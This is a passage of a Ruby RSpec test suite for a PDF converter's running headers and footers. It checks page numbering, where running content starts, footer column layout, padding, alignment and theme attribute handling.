do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true image::red-green-blue.pdf[page=1] image::red-green-blue.pdf[page=2] image::red-green-blue.pdf[page=3] EOS pages = pdf.pages (expect pages).to have_size 3 (expect pdf.text).to be_empty end end context 'Footer' do it 'should add running footer showing virtual page number starting at body by default' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Document Title :doctype: book first page <<< second page <<< third page <<< fourth page EOS expected_page_numbers = %w(1 2 3 4) expected_x_positions = [541.009, 49.24] (expect pdf.pages).to have_size 5 page_number_texts = pdf.find_text %r/^\d+$/ (expect page_number_texts).to have_size expected_page_numbers.size page_number_texts.each_with_index do |page_number_text, idx| (expect page_number_text[:page_number]).to eql idx + 2 (expect page_number_text[:x]).to eql expected_x_positions[idx.even? ? 0 : 1] (expect page_number_text[:y]).to eql 14.263 (expect page_number_text[:font_size]).to be 9 end end it 'should use single column that spans width of page if columns value is empty' do pdf_theme = { footer_columns: '', footer_recto_center_content: (expected_text = 'This text is aligned to the left and spans the width of the page.'), } pdf = to_pdf 'body', enable_footer: true, pdf_theme: pdf_theme, analyze: true footer_texts = pdf.find_text font_size: 9 (expect footer_texts).to have_size 1 (expect footer_texts[0][:string]).to eql expected_text end it 'should allow values in columns spec to be comma-separated' do pdf_theme = { footer_columns: '<25%, =50%, >25%', footer_padding: 0, footer_recto_left_content: 'left', footer_recto_center_content: 'center', footer_recto_right_content: 'right', } pdf = to_pdf 'body', enable_footer: true, pdf_theme: pdf_theme, analyze: true midpoint = (get_page_size pdf)[0] * 0.5 footer_texts = pdf.find_text font_size: 9 (expect footer_texts).to have_size 3 (expect footer_texts[0][:x]).to be < midpoint (expect footer_texts[1][:x]).to be < midpoint (expect footer_texts[1][:x] + footer_texts[1][:width]).to be > midpoint (expect footer_texts[2][:x]).to be > midpoint end it 'should hide page number if pagenums attribute is unset in document' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Document Title :doctype: book :!pagenums: first page <<< second page EOS (expect pdf.find_text '1').to be_empty (expect pdf.find_text '2').to be_empty end it 'should hide page number if pagenums attribute is unset via API' do pdf = to_pdf <<~'EOS', attribute_overrides: { 'pagenums' => nil }, enable_footer: true, analyze: true = Document Title :doctype: book first page <<< second page EOS (expect pdf.find_text '1').to be_empty (expect pdf.find_text '2').to be_empty end it 'should drop line with page-number reference if pagenums attribute is unset' do pdf_theme = { footer_recto_right_content: %({page-number} hide me +\nrecto right), footer_verso_left_content: %({page-number} hide me +\nverso left), } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :!pagenums: first page <<< second page EOS (expect pdf.find_text %r/\d+ hide me/).to be_empty (expect pdf.find_text %r/recto right/, page_number: 2).to have_size 1 (expect pdf.find_text %r/verso left/, page_number: 3).to have_size 1 end it 'should not add running footer if nofooter attribute is set' do pdf = to_pdf <<~'EOS', enable_footer: false, analyze: true = Document Title :nofooter: :doctype: book body EOS (expect pdf.find_text %r/^\d+$/).to be_empty end it 'should not add running footer if height is nil' do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: { footer_height: nil }, analyze: true = Document Title :doctype: book body EOS (expect pdf.find_text %r/^\d+$/).to be_empty end it 'should add footer if theme extends base and footer height is set' do pdf_theme = { extends: 'base', footer_height: 36, } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book == Beginning == End EOS pagenum1_text = (pdf.find_text '1')[0] pagenum2_text = (pdf.find_text '2')[0] (expect pagenum1_text).not_to be_nil (expect pagenum1_text[:page_number]).to be 2 (expect pagenum2_text).not_to be_nil (expect pagenum2_text[:page_number]).to be 3 (expect pagenum1_text[:x]).to be > pagenum2_text[:x] end end context 'Header' do it 'should add running header starting at body if header key is set in theme' do theme_overrides = { header_font_size: 9, header_height: 30, header_line_height: 1, header_padding: [6, 1, 0, 1], header_recto_right_content: '({document-title})', header_verso_right_content: '({document-title})', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book first page <<< second page EOS expected_page_numbers = %w(1 2) page_height = pdf.pages[0][:size][1] header_texts = pdf.find_text '(Document Title)' (expect header_texts).to have_size expected_page_numbers.size expected_page_numbers.each_with_index do |page_number, idx| (expect header_texts[idx][:string]).to eql '(Document Title)' (expect header_texts[idx][:page_number]).to eql page_number.to_i + 1 (expect header_texts[idx][:font_size]).to be 9 (expect header_texts[idx][:y]).to be < page_height end end it 'should not add running header if noheader attribute is set' do theme_overrides = { header_font_size: 9, header_height: 30, header_line_height: 1, header_padding: [6, 1, 0, 1], header_recto_right_content: '({document-title})', header_verso_right_content: '({document-title})', } pdf = to_pdf <<~'EOS', enable_footer: true, attribute_overrides: { 'noheader' => '' }, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book body EOS (expect pdf.find_text '(Document Title)').to be_empty end end context 'Start at' do it 'should start running content at body by default' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS (expect pdf.pages).to have_size 5 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, '1', '2', '3'] end it 'should start running content at body when start at is after-toc and toc is not enabled' do pdf = to_pdf <<~'EOS', pdf_theme: { running_content_start_at: 'after-toc' }, enable_footer: true, analyze: true = Document Title :doctype: book == First Chapter == Second Chapter == Third Chapter EOS (expect pdf.pages).to have_size 4 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, '1', '2', '3'] end it 'should start running content at body when start at is after-toc and toc is enabled with default placement' do pdf = to_pdf <<~'EOS', pdf_theme: { running_content_start_at: 'after-toc' }, enable_footer: true, analyze: true = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS (expect pdf.pages).to have_size 5 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, '1', '2', '3'] end it 'should start running content after toc in body of book when start at is after-toc and macro toc is used' do filler = (1..20).map {|it| %(== #{['Filler'] * 20 * ' '} #{it}\n\ncontent) }.join %(\n\n) pdf = to_pdf <<~EOS, pdf_theme: { running_content_start_at: 'after-toc' }, enable_footer: true, analyze: true = Document Title :doctype: book :toc: macro == First Chapter toc::[] == Second Chapter == Third Chapter #{filler} EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels.slice 0, 5).to eql [nil, nil, nil, nil, '4'] end it 'should start running content after toc in body of article with title page when start at is after-toc and macro toc is used' do filler = (1..20).map {|it| %(== #{['Filler'] * 20 * ' '} #{it}\n\ncontent) }.join %(\n\n) pdf = to_pdf <<~EOS, pdf_theme: { running_content_start_at: 'after-toc' }, enable_footer: true, analyze: true = Document Title :title-page: :toc: macro == First Section toc::[] == Second Section == Third Section #{filler} EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels.slice 0, 5).to eql [nil, nil, nil, '3', '4'] end it 'should start running content and page numbering after toc in body when both start at keys are after-toc and macro toc is used' do filler = (1..20).map {|it| %(== #{['Filler'] * 20 * ' '} #{it}\n\ncontent) }.join %(\n\n) pdf = to_pdf <<~EOS, pdf_theme: { running_content_start_at: 'after-toc', page_numbering_start_at: 'after-toc' }, enable_footer: true, analyze: true = Document Title :doctype: book :toc: macro == First Chapter toc::[] == Second Chapter == Third Chapter #{filler} EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels.slice 0, 5).to eql [nil, nil, nil, nil, '1'] end it 'should start running content at title page if running_content_start_at key is title' do theme_overrides = { running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(i ii 1 2 3) end it 'should start running content at title page if running_content_start_at key is title and document has front cover' do theme_overrides = { running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :toc: :front-cover-image: image:cover.jpg[] == First Chapter == Second Chapter == Third Chapter EOS (expect pdf.find_text page_number: 1).to be_empty pgnum_labels = (2.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(ii iii 1 2 3) end it 'should start running content at toc page if running_content_start_at key is title and title page is disabled' do theme_overrides = { running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :notitle: :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(i 1 2 3) end it 'should start running content at body if running_content_start_at key is title and title page and toc are disabled' do theme_overrides = { running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :notitle: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(1 2 3) end it 'should start running content at toc page if running_content_start_at key is toc' do theme_overrides = { running_content_start_at: 'toc' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, 'ii', '1', '2', '3'] end it 'should start running content at toc page if running_content_start_at key is toc and title page is disabled' do theme_overrides = { running_content_start_at: 'toc' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :notitle: :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql %w(i 1 2 3) end it 'should start running content at body if running_content_start_at key is toc and toc is disabled' do theme_overrides = { running_content_start_at: 'toc' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, '1', '2', '3'] end it 'should start running content at body if running_content_start_at key is after-toc and toc is disabled' do theme_overrides = { running_content_start_at: 'after-toc' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, '1', '2', '3'] end it 'should start running content at specified page of body of book if running_content_start_at is an integer' do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: { running_content_start_at: 3 }, analyze: true = Book Title :doctype: book :toc: == Dedication To the only person who gets me. == Acknowledgements Thanks all to all who made this possible! == Chapter One content EOS (expect pdf.pages).to have_size 5 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, nil, nil, '3'] end it 'should start running content at specified page of document with no title page if running_content_start_at is an integer' do pdf_theme = { running_content_start_at: 3, footer_font_color: '0000FF', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Article Title page one <<< page two <<< page three EOS (expect pdf.pages).to have_size 3 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, font_color: '0000FF')[0] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, '3'] end it 'should start page numbering at body by default' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Book Title :doctype: book :toc: == Dedication To the only person who gets me. == Acknowledgements Thanks all to all who made this possible! == Chapter One content EOS (expect pdf.pages).to have_size 5 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, '1', '2', '3'] end it 'should start page numbering at body when start at is after-toc and toc is enabled' do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: { page_numbering_start_at: 'after-toc' }, analyze: true = Book Title :doctype: book :toc: == Dedication To the only person who gets me. == Acknowledgements Thanks all to all who made this possible! == Chapter One content EOS (expect pdf.pages).to have_size 5 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, '1', '2', '3'] end it 'should start page numbering at body when start at is after-toc and toc is not enabled' do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: { page_numbering_start_at: 'after-toc' }, analyze: true = Book Title :doctype: book == Dedication To the only person who gets me. == Acknowledgements Thanks all to all who made this possible! == Chapter One content EOS (expect pdf.pages).to have_size 4 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, '1', '2', '3'] end it 'should start page numbering after toc in body of book when start at is after-toc and toc macro is used' do filler = (1..20).map {|it| %(== #{['Filler'] * 20 * ' '} #{it}\n\ncontent) }.join %(\n\n) pdf = to_pdf <<~EOS, enable_footer: true, pdf_theme: { page_numbering_start_at: 'after-toc' }, analyze: true = Book Title :doctype: book :toc: macro == Dedication To the only person who gets me. toc::[] == Acknowledgements Thanks all to all who made this possible! == Chapter One content #{filler} EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels.slice 0, 5).to eql [nil, 'ii', 'iii', 'iv', '1'] end it 'should start page numbering after toc in body of article with title page when start at is after-toc and toc macro is used' do filler = (1..20).map {|it| %(== #{['Filler'] * 20 * ' '} #{it}\n\ncontent) }.join %(\n\n) pdf = to_pdf <<~EOS, enable_footer: true, pdf_theme: { page_numbering_start_at: 'after-toc' }, analyze: true = Document Title :title-page: :toc: macro == Dedication To the only person who gets me. toc::[] == Acknowledgements Thanks all to all who made this possible! == Section One content #{filler} EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels.slice 0, 5).to eql [nil, 'ii', 'iii', '1', '2'] end it 'should start page numbering and running content at specified page of body' do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: { page_numbering_start_at: 3, running_content_start_at: 3 }, analyze: true = Book Title :doctype: book :toc: == Dedication To the only person who gets me. == Acknowledgements Thanks all to all who made this possible! == Chapter One content EOS (expect pdf.pages).to have_size 5 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, y: 14.263)[-1] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, nil, nil, '1'] end it 'should start page numbering and running content at specified page of document with no title page' do pdf_theme = { running_content_start_at: 3, page_numbering_start_at: 3, footer_font_color: '0000FF', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Article Title page one <<< page two <<< page three EOS (expect pdf.pages).to have_size 3 pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << ((pdf.find_text page_number: page_number, font_color: '0000FF')[0] || {})[:string] end (expect pgnum_labels).to eql [nil, nil, '1'] end end context 'Page numbering' do it 'should start page numbering at body if title page and toc are disabled' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Document Title :doctype: book :notitle: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(1 2 3) end it 'should start page numbering at body if title page is disabled and toc is enabled' do pdf_theme = { running_content_start_at: 'toc' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :notitle: :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(i 1 2 3) end it 'should start page numbering at cover page of article if page_numbering_start_at is cover' do theme_overrides = { page_numbering_start_at: 'cover' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides) = Document Title :front-cover-image: image:tux.png[] == First Section == Second Section == Third Section EOS page_labels = get_page_labels pdf (expect page_labels).to eql %w(1 2) end it 'should start page numbering at cover page of book if page_numbering_start_at is cover' do theme_overrides = { page_numbering_start_at: 'cover' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides) = Document Title :doctype: book :front-cover-image: image:tux.png[] :toc: == First Chapter == Second Chapter == Third Chapter EOS page_labels = get_page_labels pdf (expect page_labels).to eql %w(1 2 3 4 5 6) end it 'should start page numbering at title page of book if page_numbering_start_at is cover and document has no cover' do theme_overrides = { page_numbering_start_at: 'cover' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides) = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS page_labels = get_page_labels pdf (expect page_labels).to eql %w(1 2 3 4 5) end it 'should start page numbering at body of article if page_numbering_start_at is cover and document has no cover' do theme_overrides = { page_numbering_start_at: 'cover' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides) = Document Title == First Section == Second Section == Third Section EOS page_labels = get_page_labels pdf (expect page_labels).to eql %w(1) end it 'should start page numbering at title page if page_numbering_start_at is title' do theme_overrides = { page_numbering_start_at: 'title', running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(1 2 3 4 5) end it 'should start page numbering at toc page if page_numbering_start_at is title and title page is disabled' do theme_overrides = { page_numbering_start_at: 'title', running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :notitle: :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(1 2 3 4) end it 'should start page numbering at body if page_numbering_start_at is title and title page and toc are disabled' do theme_overrides = { page_numbering_start_at: 'title', running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :notitle: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(1 2 3) end it 'should start page numbering at toc page if page_numbering_start_at is toc' do theme_overrides = { page_numbering_start_at: 'toc', running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(i 1 2 3 4) end it 'should start page numbering at body if page_numbering_start_at is toc and toc is disabled' do theme_overrides = { page_numbering_start_at: 'toc', running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(i 1 2 3) end it 'should start page numbering at toc page if page_numbering_start_at is toc and title page is disabled' do theme_overrides = { page_numbering_start_at: 'toc', running_content_start_at: 'title' } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :notitle: :toc: == First Chapter == Second Chapter == Third Chapter EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(1 2 3 4) end it 'should start page numbering at specified page of body of book if page_numbering_start_at is an integer' do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: { running_content_start_at: 'title', page_numbering_start_at: 3 }, analyze: true = Book Title :doctype: book :toc: == Dedication To the only ((person)) who gets me. == Acknowledgements Thanks all to all who made this possible! == Chapter One content [index] == Index EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, y: 14.263)[-1][:string] end (expect pgnum_labels).to eql %w(i ii iii iv 1 2) dedication_toc_line = (pdf.lines pdf.find_text page_number: 2).find {|it| it.start_with? 'Dedication' } (expect dedication_toc_line).to end_with 'iii' (expect pdf.lines pdf.find_text page_number: pdf.pages.size).to include 'person, iii' end it 'should start page numbering at specified page of document with no title page if page_numbering_start_at is an integer' do pdf_theme = { page_numbering_start_at: 3, footer_font_color: '0000FF', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Article Title page one <<< page two <<< page three EOS pgnum_labels = (1.upto pdf.pages.size).each_with_object [] do |page_number, accum| accum << (pdf.find_text page_number: page_number, font_color: '0000FF')[0][:string] end (expect pgnum_labels).to eql %w(i ii 1) end it 'should compute page-count attribute correctly when running content starts after page numbering' do pdf_theme = { page_numbering_start_at: 'toc', running_content_start_at: 'body', footer_recto_right_content: '{page-number} of {page-count}', footer_verso_left_content: '{page-number} of {page-count}', footer_font_color: 'AA0000', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :toc: == Beginning == End EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 2 (expect footer_texts[0][:page_number]).to be 3 (expect footer_texts[0][:string]).to eql '2 of 3' (expect footer_texts[1][:page_number]).to be 4 (expect footer_texts[1][:string]).to eql '3 of 3' end it 'should compute page-count attribute correctly when page numbering starts after running content' do pdf_theme = { page_numbering_start_at: 'body', running_content_start_at: 'toc', footer_recto_right_content: '{page-number} of {page-count}', footer_verso_left_content: '{page-number} of {page-count}', footer_font_color: 'AA0000', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :toc: == Beginning == End EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 3 (expect footer_texts[0][:page_number]).to be 2 (expect footer_texts[0][:string]).to eql 'ii of 2' (expect footer_texts[1][:page_number]).to be 3 (expect footer_texts[1][:string]).to eql '1 of 2' (expect footer_texts[2][:page_number]).to be 4 (expect footer_texts[2][:string]).to eql '2 of 2' end end context 'Theming' do it 'should be able to set font styles per periphery and side in theme' do pdf_theme = build_pdf_theme \ footer_font_size: 7.5, footer_recto_left_content: '{section-title}', footer_recto_left_font_style: 'bold', footer_recto_left_text_transform: 'lowercase', footer_recto_right_content: '{page-number}', footer_recto_right_font_color: '00ff00', footer_verso_left_content: '{page-number}', footer_verso_left_font_color: 'ff0000', footer_verso_right_content: '{section-title}', footer_verso_right_text_transform: 'uppercase' pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title Preamble text. <<< == Beginning <<< == Middle <<< == End EOS (expect pdf.find_text font_size: 7.5, page_number: 1, string: '1', font_color: '00FF00').to have_size 1 (expect pdf.find_text font_size: 7.5, page_number: 2, string: 'BEGINNING').to have_size 1 (expect pdf.find_text font_size: 7.5, page_number: 2, string: '2', font_color: 'FF0000').to have_size 1 (expect pdf.find_text font_size: 7.5, page_number: 3, string: 'middle', font_name: 'NotoSerif-Bold').to have_size 1 (expect pdf.find_text font_size: 7.5, page_number: 3, string: '3', font_color: '00FF00').to have_size 1 (expect pdf.find_text font_size: 7.5, page_number: 4, string: 'END').to have_size 1 (expect pdf.find_text font_size: 7.5, page_number: 4, string: '4', font_color: 'FF0000').to have_size 1 end it 'should expand footer padding from single value' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Document Title first page <<< second page EOS p2_text = pdf.find_text page_number: 2 (expect p2_text[1][:x]).to be > p2_text[0][:x] (expect p2_text[1][:string]).to eql '2' end it 'should expand header padding from single value' do theme_overrides = { header_font_size: 9, header_height: 30, header_line_height: 1, header_padding: 5, header_recto_right_content: '{page-number}', header_verso_left_content: '{page-number}', } pdf = to_pdf <<~'EOS', pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title first page <<< second page EOS p2_text = pdf.find_text page_number: 2 (expect p2_text[1][:x]).to be > p2_text[0][:x] (expect p2_text[1][:string]).to eql '2' end it 'should coerce non-array value to a string' do theme_overrides = { header_font_size: 9, header_height: 30, header_line_height: 1, header_padding: 5, header_recto_right_content: 99, header_verso_left_content: 99, } pdf = to_pdf <<~'EOS', pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title first page <<< second page EOS p2_text = pdf.find_text page_number: 2 (expect p2_text[1][:x]).to be > p2_text[0][:x] (expect p2_text[1][:string]).to eql '99' end it 'should allow horizontal padding to be negative', visual: true do pdf_theme = { footer_font_color: '000000', footer_padding: [0, -48.24, 0, -48.24], footer_recto_left_content: 'text left', footer_recto_right_content: 'text right', footer_vertical_align: 'middle', } to_file = to_pdf_file <<~'EOS', 'running-content-negative-padding.pdf', pdf_theme: pdf_theme, enable_footer: true text left [.text-right] text right EOS (expect to_file).to visually_match 'running-content-negative-padding.pdf' end it 'should allow vertical alignment of content to be set in theme' do pdf_theme = { footer_font_color: '000000', footer_padding: 0, footer_height: 72, footer_line_height: 1, footer_font_size: 10, footer_recto_left_content: 'text left', footer_recto_right_content: 'text right', } # NOTE: the exact y position is affected by the font height and line metrics, so use a fuzzy check { 'top' => 72, 'middle' => 42, 'bottom' => 12, ['top', 10] => 62, ['bottom', -10] => 22, ['center', -2] => 44, }.each do |valign, expected_y| pdf = to_pdf 'body', pdf_theme: (pdf_theme.merge footer_vertical_align: valign), enable_footer: true, analyze: true left_text = (pdf.find_text 'text left')[0] (expect left_text[:y] + left_text[:font_size]).to be_within(1).of(expected_y) end end it 'should coerce content value to string' do pdf = to_pdf 'body', enable_footer: true, attribute_overrides: { 'pdf-theme' => (fixture_file 'running-footer-coerce-content-theme.yml') }, analyze: true (expect pdf.find_text '1000').to have_size 1 (expect pdf.find_text 'true').to have_size 1 end it 'should not substitute escaped attribute reference in content' do pdf_theme = { footer_recto_right_content: '\{keepme}', footer_verso_left_content: '\{keepme}', } pdf = to_pdf 'body', enable_footer: true, pdf_theme: pdf_theme, analyze: true running_text = pdf.find_text '{keepme}' (expect running_text).to have_size 1 end it 'should normalize newlines and whitespace' do pdf_theme = { footer_recto_right_content: %(He's a real nowhere man,\nMaking all his nowhere plans\tfor nobody.), footer_verso_left_content: %(He's a real nowhere man,\nMaking all his nowhere plans\tfor nobody.), } pdf = to_pdf 'body', enable_footer: true, pdf_theme: pdf_theme, analyze: true (expect pdf.lines.last).to eql %(He\u2019s a real nowhere man, Making all his nowhere plans for nobody.) end it 'should drop line in content with unresolved attribute reference' do pdf_theme = { footer_recto_right_content: %(keep\ndrop{bogus}\nme), footer_verso_left_content: %(keep\ndrop{bogus}\nme), } pdf = to_pdf 'body', enable_footer: true, pdf_theme: pdf_theme, analyze: true running_text = pdf.find_text %(keep me) (expect running_text).to have_size 1 end it 'should not warn if attribute is missing in running content' do (expect do 